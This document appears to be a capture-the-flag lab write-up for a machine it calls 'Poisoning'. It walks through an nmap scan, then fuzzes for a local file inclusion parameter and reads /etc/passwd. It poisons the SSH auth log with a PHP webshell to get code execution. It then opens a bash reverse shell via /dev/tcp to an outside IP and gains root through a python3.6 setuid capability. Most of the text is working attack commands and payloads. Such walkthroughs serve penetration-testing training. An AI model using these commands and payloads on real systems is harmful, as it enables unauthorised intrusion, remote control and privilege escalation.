Poisoning Writeup

Port Scanning

nmap -sV -sC -p- -v $IP --open

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 44:78:eb:00:c1:c8:a7:25:1c:57:61:68:2b:1b:37:37 (RSA)
|   256 1d:6f:e8:50:cb:74:10:cc:62:60:43:76:38:67:e3:be (ECDSA)
|_  256 99:8a:b1:8b:f3:c3:47:a0:14:20:33:d7:0b:71:92:8d (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Crowsec
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: Nicepage 3.25.3, nicepage.com
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only ports 22 (SSH) and 80 (HTTP) are open.

Enumeration

http://172.16.7.186

The website itself doesn't have much functionality; however, I was able to find a PHP file that we can use to gain LFI.

I used ffuf to fuzz the parameter:

ffuf -u http://172.16.7.186/\\?FUZZ\\=/etc/passwd -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/dirsearch.txt -fw 5559

Page parameter found!

http://172.16.7.186/?page=/etc/passwd

Since port 22 (SSH) is open, I escalated the LFI to an RCE by poisoning the SSH log.

First, I connected to SSH with netcat:

nc -nv $IP 22

Then, I sent the PHP webshell inside the SSH.

h4x0rh4x/<?php passthru($_GET['cmd']); ?>

To check if it worked, we need to use the LFI to access the var/log/auth.log directory.

172.16.7.186/?page=/var/log/auth.log

With that, we have our RCE.

Foot Hold

http://172.16.7.186/?page=/var/log/auth.log&cmd=bash -c 'exec bash -i &>/dev/tcp/10.0.31.150/1337 <&1'

NOTE: Remember to encode the payload.

Privillege Escalation

getcap -r / 2>/dev/null

/usr/bin/python3.6 -c 'import os; os.setuid(0); os.system("/bin/sh")'

Proof